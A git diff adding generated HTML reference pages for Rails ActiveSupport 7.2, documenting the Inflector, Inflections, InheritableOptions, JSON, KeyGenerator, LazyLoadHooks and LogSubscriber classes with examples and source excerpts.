+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 99
+    def underscore(camel_cased_word)
+      return camel_cased_word.to_s.dup unless /[A-Z-]|::/.match?(camel_cased_word)
+      word = camel_cased_word.to_s.gsub("::", "/")
+      word.gsub!(inflections.acronyms_underscore_regex) { "#{$1 && '_' }#{$2.downcase}" }
+      word.gsub!(/(?<=[A-Z])(?=[A-Z][a-z])|(?<=[a-z\d])(?=[A-Z])/, "_")
+      word.tr!("-", "_")
+      word.downcase!
+      word
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upcase_first(string) + +

+ + +
+

Converts the first character in the string to uppercase.

+ +
upcase_first('what a Lovely Day') # => "What a Lovely Day"
+upcase_first('w')                 # => "W"
+upcase_first('')                  # => ""
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 166
+    def upcase_first(string)
+      string.length > 0 ? string[0].upcase.concat(string[1..-1]) : +""
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Inflector/Inflections.html b/src/7.2/classes/ActiveSupport/Inflector/Inflections.html new file mode 100644 index 0000000000..0dce97e715 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Inflector/Inflections.html @@ -0,0 +1,646 @@ +--- +title: ActiveSupport::Inflector::Inflections +layout: default +--- +
+ +
+
+ +
+ +

Active Support Inflections

+ +

A singleton instance of this class is yielded by Inflector.inflections, which can then be used to specify additional inflection rules. If passed an optional locale, rules for other languages can be specified. The default locale is :en. Only rules for English are provided.

+ +
ActiveSupport::Inflector.inflections(:en) do |inflect|
+  inflect.plural /^(ox)$/i, '\1\2en'
+  inflect.singular /^(ox)en/i, '\1'
+
+  inflect.irregular 'cactus', 'cacti'
+
+  inflect.uncountable 'equipment'
+end
+
+ +

New rules are added at the top. So in the example above, the irregular rule for cactus will now be the first of the pluralization and singularization rules that is runs. This guarantees that your rules run before any of the rules that may already have been loaded.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + acronyms
+ [R] + humans
+ [R] + plurals
+ [R] + singulars
+ [R] + uncountables
+ + + + +

Class Public methods

+ +
+

+ + instance(locale = :en) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 65
+      def self.instance(locale = :en)
+        @__instance__[locale] ||= new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instance_or_fallback(locale) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 69
+      def self.instance_or_fallback(locale)
+        I18n.fallbacks[locale].each do |k|
+          return @__instance__[k] if @__instance__.key?(k)
+        end
+        instance(locale)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 80
+      def initialize
+        @plurals, @singulars, @uncountables, @humans, @acronyms = [], [], Uncountables.new, [], {}
+        define_acronym_regex_patterns
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + acronym(word) + +

+ + +
+

Specifies a new acronym. An acronym must be specified as it will appear in a camelized string. An underscore string that contains the acronym will retain the acronym when passed to camelize, humanize, or titleize. A camelized string that contains the acronym will maintain the acronym when titleized or humanized, and will convert the acronym into a non-delimited single lowercase word when passed to underscore.

+ +
acronym 'HTML'
+titleize 'html'     # => 'HTML'
+camelize 'html'     # => 'HTML'
+underscore 'MyHTML' # => 'my_html'
+
+ +

The acronym, however, must occur as a delimited unit and not be part of another word for conversions to recognize it:

+ +
acronym 'HTTP'
+camelize 'my_http_delimited' # => 'MyHTTPDelimited'
+camelize 'https'             # => 'Https', not 'HTTPs'
+underscore 'HTTPS'           # => 'http_s', not 'https'
+
+acronym 'HTTPS'
+camelize 'https'   # => 'HTTPS'
+underscore 'HTTPS' # => 'https'
+
+ +

Note: Acronyms that are passed to pluralize will no longer be recognized, since the acronym will not occur as a delimited unit in the pluralized result. To work around this, you must specify the pluralized form as an acronym as well:

+ +
acronym 'API'
+camelize(pluralize('api')) # => 'Apis'
+
+acronym 'APIs'
+camelize(pluralize('api')) # => 'APIs'
+
+ +

acronym may be used to specify any word that contains an acronym or otherwise needs to maintain a non-standard capitalization. The only restriction is that the word must begin with a capital letter.

+ +
acronym 'RESTful'
+underscore 'RESTful'           # => 'restful'
+underscore 'RESTfulController' # => 'restful_controller'
+titleize 'RESTfulController'   # => 'RESTful Controller'
+camelize 'restful'             # => 'RESTful'
+camelize 'restful_controller'  # => 'RESTfulController'
+
+acronym 'McDonald'
+underscore 'McDonald' # => 'mcdonald'
+camelize 'mcdonald'   # => 'McDonald'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 142
+      def acronym(word)
+        @acronyms[word.downcase] = word
+        define_acronym_regex_patterns
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear(scope = :all) + +

+ + +
+

Clears the loaded inflections within a given scope (default is :all). Give the scope as a symbol of the inflection type, the options are: :plurals, :singulars, :uncountables, :humans, :acronyms.

+ +
clear :all
+clear :plurals
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 231
+      def clear(scope = :all)
+        case scope
+        when :all
+          clear(:acronyms)
+          clear(:plurals)
+          clear(:singulars)
+          clear(:uncountables)
+          clear(:humans)
+        when :acronyms
+          @acronyms = {}
+          define_acronym_regex_patterns
+        when :uncountables
+          @uncountables = Uncountables.new
+        when :plurals, :singulars, :humans
+          instance_variable_set "@#{scope}", []
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + human(rule, replacement) + +

+ + +
+

Specifies a humanized form of a string by a regular expression rule or by a string mapping. When using a regular expression based replacement, the normal humanize formatting is called after the replacement. When a string is used, the human form should be specified as desired (example: β€˜The name’, not β€˜the_name’).

+ +
human /_cnt$/i, '\1_count'
+human 'legacy_col_person_name', 'Name'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 220
+      def human(rule, replacement)
+        @humans.prepend([rule, replacement])
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + irregular(singular, plural) + +

+ + +
+

Specifies a new irregular that applies to both pluralization and singularization at the same time. This can only be used for strings, not regular expressions. You simply pass the irregular in singular and plural form.

+ +
irregular 'cactus', 'cacti'
+irregular 'person', 'people'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 174
+      def irregular(singular, plural)
+        @uncountables.delete(singular)
+        @uncountables.delete(plural)
+
+        s0 = singular[0]
+        srest = singular[1..-1]
+
+        p0 = plural[0]
+        prest = plural[1..-1]
+
+        if s0.upcase == p0.upcase
+          plural(/(#{s0})#{srest}$/i, '\1' + prest)
+          plural(/(#{p0})#{prest}$/i, '\1' + prest)
+
+          singular(/(#{s0})#{srest}$/i, '\1' + srest)
+          singular(/(#{p0})#{prest}$/i, '\1' + srest)
+        else
+          plural(/#{s0.upcase}(?i)#{srest}$/,   p0.upcase   + prest)
+          plural(/#{s0.downcase}(?i)#{srest}$/, p0.downcase + prest)
+          plural(/#{p0.upcase}(?i)#{prest}$/,   p0.upcase   + prest)
+          plural(/#{p0.downcase}(?i)#{prest}$/, p0.downcase + prest)
+
+          singular(/#{s0.upcase}(?i)#{srest}$/,   s0.upcase   + srest)
+          singular(/#{s0.downcase}(?i)#{srest}$/, s0.downcase + srest)
+          singular(/#{p0.upcase}(?i)#{prest}$/,   s0.upcase   + srest)
+          singular(/#{p0.downcase}(?i)#{prest}$/, s0.downcase + srest)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + plural(rule, replacement) + +

+ + +
+

Specifies a new pluralization rule and its replacement. The rule can either be a string or a regular expression. The replacement should always be a string that may include references to the matched data from the rule.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 151
+      def plural(rule, replacement)
+        @uncountables.delete(rule) if rule.is_a?(String)
+        @uncountables.delete(replacement)
+        @plurals.prepend([rule, replacement])
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + singular(rule, replacement) + +

+ + +
+

Specifies a new singularization rule and its replacement. The rule can either be a string or a regular expression. The replacement should always be a string that may include references to the matched data from the rule.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 161
+      def singular(rule, replacement)
+        @uncountables.delete(rule) if rule.is_a?(String)
+        @uncountables.delete(replacement)
+        @singulars.prepend([rule, replacement])
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uncountable(*words) + +

+ + +
+

Specifies words that are uncountable and should not be inflected.

+ +
uncountable 'money'
+uncountable 'money', 'information'
+uncountable %w( money information rice )
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 208
+      def uncountable(*words)
+        @uncountables.add(words)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Inflector/Inflections/Uncountables.html b/src/7.2/classes/ActiveSupport/Inflector/Inflections/Uncountables.html new file mode 100644 index 0000000000..ede959e3a7 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Inflector/Inflections/Uncountables.html @@ -0,0 +1,271 @@ +--- +title: ActiveSupport::Inflector::Inflections::Uncountables +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 34
+        def initialize
+          @regex_array = []
+          super
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <<(*word) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 44
+        def <<(*word)
+          add(word)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add(words) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 48
+        def add(words)
+          words = words.flatten.map(&:downcase)
+          concat(words)
+          @regex_array += words.map { |word| to_regex(word) }
+          self
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(entry) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 39
+        def delete(entry)
+          super entry
+          @regex_array.delete(to_regex(entry))
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uncountable?(str) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 55
+        def uncountable?(str)
+          @regex_array.any? { |regex| regex.match? str }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/InheritableOptions.html b/src/7.2/classes/ActiveSupport/InheritableOptions.html new file mode 100644 index 0000000000..19144fd178 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/InheritableOptions.html @@ -0,0 +1,565 @@ +--- +title: ActiveSupport::InheritableOptions +layout: default +--- +
+ +
+
+ +
+ +

Inheritable Options

+ +

InheritableOptions provides a constructor to build an OrderedOptions hash inherited from another hash.

+ +

Use this if you already have some hash and you want to create a new one based on it.

+ +
h = ActiveSupport::InheritableOptions.new({ girl: 'Mary', boy: 'John' })
+h.girl # => 'Mary'
+h.boy  # => 'John'
+
+ +

If the existing hash has string keys, call Hash#symbolize_keys on it.

+ +
h = ActiveSupport::InheritableOptions.new({ 'girl' => 'Mary', 'boy' => 'John' }.symbolize_keys)
+h.girl # => 'Mary'
+h.boy  # => 'John'
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(parent = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 90
+    def initialize(parent = nil)
+      @parent = parent
+      if @parent.kind_of?(OrderedOptions)
+        # use the faster _get when dealing with OrderedOptions
+        super() { |h, k| @parent._get(k) }
+      elsif @parent
+        super() { |h, k| @parent[k] }
+      else
+        super()
+        @parent = {}
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 107
+    def ==(other)
+      to_h == other.to_h
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 142
+    def each(&block)
+      to_h.each(&block)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inheritable_copy() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 134
+    def inheritable_copy
+      self.class.new(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 111
+    def inspect
+      "#<#{self.class.name} #{to_h.inspect}>"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key?(key) + +

+ + +
+ +
+ + + +
+ Also aliased as: own_key? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 126
+    def key?(key)
+      super || @parent.key?(key)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + overridden?(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 130
+    def overridden?(key)
+      !!(@parent && @parent.key?(key) && own_key?(key.to_sym))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + own_key?(key) + +

+ + +
+ +
+ + + + + +
+ Alias for: key? +
+ + + + +
+ +
+

+ + pretty_print(pp) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 119
+    def pretty_print(pp)
+      pp.pp_hash(to_h)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_a() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 138
+    def to_a
+      entries
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_h() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 103
+    def to_h
+      @parent.merge(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 115
+    def to_s
+      to_h.to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/JSON.html b/src/7.2/classes/ActiveSupport/JSON.html new file mode 100644 index 0000000000..b5deebee29 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/JSON.html @@ -0,0 +1,291 @@ +--- +title: ActiveSupport::JSON +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + +
DATETIME_REGEX=/\A(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?)?)\z/
DATE_REGEX=/\A\d{4}-\d{2}-\d{2}\z/
 

matches YAML-formatted dates

+ + + + + + +

Class Public methods

+ +
+

+ + decode(json) + +

+ + +
+

Parses a JSON string (JavaScript Object Notation) into a hash. See www.json.org for more info.

+ +
ActiveSupport::JSON.decode("{\"team\":\"rails\",\"players\":\"36\"}")
+=> {"team" => "rails", "players" => "36"}
+
+
+ + + +
+ Also aliased as: load +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/json/decoding.rb, line 22
+      def decode(json)
+        data = ::JSON.parse(json, quirks_mode: true)
+
+        if ActiveSupport.parse_json_times
+          convert_dates_from(data)
+        else
+          data
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(value, options = nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: encode +
+ + + + +
+ +
+

+ + encode(value, options = nil) + +

+ + +
+ +
+ + + +
+ Also aliased as: dump +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/json/encoding.rb, line 22
+      def encode(value, options = nil)
+        Encoding.json_encoder.new(options).encode(value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load(json) + +

+ + +
+ +
+ + + + + +
+ Alias for: decode +
+ + + + +
+ +
+

+ + parse_error() + +

+ + +
+

Returns the class of the error that will be raised when there is an error in decoding JSON. Using this method means you won’t directly depend on the ActiveSupport’s JSON implementation, in case it changes in the future.

+ +
begin
+  obj = ActiveSupport::JSON.decode(some_string)
+rescue ActiveSupport::JSON.parse_error
+  Rails.logger.warn("Attempted to decode invalid JSON: #{some_string}")
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/json/decoding.rb, line 43
+      def parse_error
+        ::JSON::ParserError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/KeyGenerator.html b/src/7.2/classes/ActiveSupport/KeyGenerator.html new file mode 100644 index 0000000000..1e0fbb7864 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/KeyGenerator.html @@ -0,0 +1,245 @@ +--- +title: ActiveSupport::KeyGenerator +layout: default +--- +
+ +
+
+ +
+ +

Key Generator

+ +

KeyGenerator is a simple wrapper around OpenSSL’s implementation of PBKDF2. It can be used to derive a number of keys for various purposes from a given secret. This lets Rails applications have a single secure secret, but avoid reusing that key in multiple incompatible contexts.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + hash_digest_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/key_generator.rb, line 23
+      def hash_digest_class
+        @hash_digest_class ||= OpenSSL::Digest::SHA1
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hash_digest_class=(klass) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/key_generator.rb, line 15
+      def hash_digest_class=(klass)
+        if klass.kind_of?(Class) && klass < OpenSSL::Digest
+          @hash_digest_class = klass
+        else
+          raise ArgumentError, "#{klass} is expected to be an OpenSSL::Digest subclass"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(secret, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/key_generator.rb, line 28
+    def initialize(secret, options = {})
+      @secret = secret
+      # The default iterations are higher than required for our key derivation uses
+      # on the off chance someone uses this for password storage
+      @iterations = options[:iterations] || 2**16
+      # Also allow configuration here so people can use this to build a rotation
+      # scheme when switching the digest class.
+      @hash_digest_class = options[:hash_digest_class] || self.class.hash_digest_class
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + generate_key(salt, key_size = 64) + +

+ + +
+

Returns a derived key suitable for use. The default key_size is chosen to be compatible with the default settings of ActiveSupport::MessageVerifier. i.e. OpenSSL::Digest::SHA1#block_length

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/key_generator.rb, line 41
+    def generate_key(salt, key_size = 64)
+      OpenSSL::PKCS5.pbkdf2_hmac(@secret, salt, @iterations, key_size, @hash_digest_class.new)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/LazyLoadHooks.html b/src/7.2/classes/ActiveSupport/LazyLoadHooks.html new file mode 100644 index 0000000000..d9baef8266 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/LazyLoadHooks.html @@ -0,0 +1,195 @@ +--- +title: ActiveSupport::LazyLoadHooks +layout: default +--- +
+ +
+
+ +
+ +

Lazy Load Hooks

+ +

LazyLoadHooks allows Rails to lazily load a lot of components and thus making the app boot faster. Because of this feature now there is no need to require ActiveRecord::Base at boot time purely to apply configuration. Instead a hook is registered that applies configuration once ActiveRecord::Base is loaded. Here ActiveRecord::Base is used as example but this feature can be applied elsewhere too.

+ +

Here is an example where on_load method is called to register a hook.

+ +
initializer 'active_record.initialize_timezone' do
+  ActiveSupport.on_load(:active_record) do
+    self.time_zone_aware_attributes = true
+    self.default_timezone = :utc
+  end
+end
+
+ +

When the entirety of ActiveRecord::Base has been evaluated then run_load_hooks is invoked. The very last line of ActiveRecord::Base is:

+ +
ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
+
+ +

run_load_hooks will then execute all the hooks that were registered with the on_load method. In the case of the above example, it will execute the block of code that is in the initializer.

+ +

Registering a hook that has already run results in that hook executing immediately. This allows hooks to be nested for code that relies on multiple lazily loaded components:

+ +
initializer "action_text.renderer" do
+  ActiveSupport.on_load(:action_controller_base) do
+    ActiveSupport.on_load(:action_text_content) do
+      self.default_renderer = Class.new(ActionController::Base).renderer
+    end
+  end
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + on_load(name, options = {}, &block) + +

+ + +
+

Declares a block that will be executed when a Rails component is fully loaded. If the component has already loaded, the block is executed immediately.

+ +

Options:

+
  • +

    :yield - Yields the object that run_load_hooks to block.

    +
  • +

    :run_once - Given block will run only once.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/lazy_load_hooks.rb, line 60
+    def on_load(name, options = {}, &block)
+      @loaded[name].each do |base|
+        execute_hook(name, base, options, block)
+      end
+
+      @load_hooks[name] << [block, options]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + run_load_hooks(name, base = Object) + +

+ + +
+

Executes all blocks registered to name via on_load, using base as the evaluation context.

+ +
ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
+
+ +

In the case of the above example, it will execute all hooks registered for :active_record within the class ActiveRecord::Base.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/lazy_load_hooks.rb, line 75
+    def run_load_hooks(name, base = Object)
+      @loaded[name] << base
+      @load_hooks[name].each do |hook, options|
+        execute_hook(name, base, options, hook)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/LogSubscriber.html b/src/7.2/classes/ActiveSupport/LogSubscriber.html new file mode 100644 index 0000000000..479873f5e1 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/LogSubscriber.html @@ -0,0 +1,607 @@ +--- +title: ActiveSupport::LogSubscriber +layout: default +--- +
+ +
+
+ +
+ +

Active Support Log Subscriber

+ +

ActiveSupport::LogSubscriber is an object set to consume ActiveSupport::Notifications with the sole purpose of logging them. The log subscriber dispatches notifications to a registered object based on its given namespace.

+ +

An example would be Active Record log subscriber responsible for logging queries:

+ +
module ActiveRecord
+  class LogSubscriber < ActiveSupport::LogSubscriber
+    attach_to :active_record
+
+    def sql(event)
+      info "#{event.payload[:name]} (#{event.duration}) #{event.payload[:sql]}"
+    end
+  end
+end
+
+ +

ActiveRecord::LogSubscriber.logger must be set as well, but it is assigned automatically in a Rails environment.

+ +

After configured, whenever a "sql.active_record" notification is published, it will properly dispatch the event (ActiveSupport::Notifications::Event) to the sql method.

+ +

Being an ActiveSupport::Notifications consumer, ActiveSupport::LogSubscriber exposes a simple interface to check if instrumented code raises an exception. It is common to log a different message in case of an error, and this can be achieved by extending the previous example:

+ +
module ActiveRecord
+  class LogSubscriber < ActiveSupport::LogSubscriber
+    def sql(event)
+      exception = event.payload[:exception]
+
+      if exception
+        exception_object = event.payload[:exception_object]
+
+        error "[ERROR] #{event.payload[:name]}: #{exception.join(', ')} " \
+              "(#{exception_object.backtrace.first})"
+      else
+        # standard logger code
+      end
+    end
+  end
+end
+
+ +

ActiveSupport::LogSubscriber also has some helpers to deal with logging. For example, ActiveSupport::LogSubscriber.flush_all! will ensure that all logs are flushed, and it is called in Rails::Rack::Logger after a request finishes.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BLACK="\e[30m"
 

ANSI sequence colors

BLUE="\e[34m"
CYAN="\e[36m"
GREEN="\e[32m"
LEVEL_CHECKS={ +debug: -> (logger) { !logger.debug? }, +info: -> (logger) { !logger.info? }, +error: -> (logger) { !logger.error? }, +}
MAGENTA="\e[35m"
MODES={ +clear: 0, +bold: 1, +italic: 3, +underline: 4, +}
 

ANSI sequence modes

RED="\e[31m"
WHITE="\e[37m"
YELLOW="\e[33m"
+ + + + +

Attributes

+ + + + + + + + +
+ [W] + logger
+ + + + +

Class Public methods

+ +
+

+ + flush_all!() + +

+ + +
+

Flush all log_subscribersβ€˜ logger.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber.rb, line 112
+      def flush_all!
+        logger.flush if logger.respond_to?(:flush)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + log_subscribers() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber.rb, line 107
+      def log_subscribers
+        subscribers
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logger() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber.rb, line 93
+      def logger
+        @logger ||= if defined?(Rails) && Rails.respond_to?(:logger)
+          Rails.logger
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber.rb, line 133
+    def initialize
+      super
+      @event_levels = {}
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber.rb, line 146
+    def call(event)
+      super if logger
+    rescue => e
+      log_exception(event.name, e)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logger() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber.rb, line 138
+    def logger
+      LogSubscriber.logger
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + publish_event(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber.rb, line 152
+    def publish_event(event)
+      super if logger
+    rescue => e
+      log_exception(event.name, e)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + silenced?(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber.rb, line 142
+    def silenced?(event)
+      logger.nil? || @event_levels[event]&.call(logger)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + color(text, color, mode_options = {}) + +

+ + +
+

Set color by using a symbol or one of the defined constants. Set modes by specifying bold, italic, or underline options. Inspired by Highline, this method will automatically clear formatting at the end of the returned String.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber.rb, line 172
+    def color(text, color, mode_options = {}) # :doc:
+      return text unless colorize_logging
+      color = self.class.const_get(color.upcase) if color.is_a?(Symbol)
+      mode = mode_from(mode_options)
+      clear = "\e[#{MODES[:clear]}m"
+      "#{mode}#{color}#{text}#{clear}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/LogSubscriber/TestHelper.html b/src/7.2/classes/ActiveSupport/LogSubscriber/TestHelper.html new file mode 100644 index 0000000000..ef072b6577 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/LogSubscriber/TestHelper.html @@ -0,0 +1,185 @@ +--- +title: ActiveSupport::LogSubscriber::TestHelper +layout: default +--- +
+ +
+
+ +
+ +

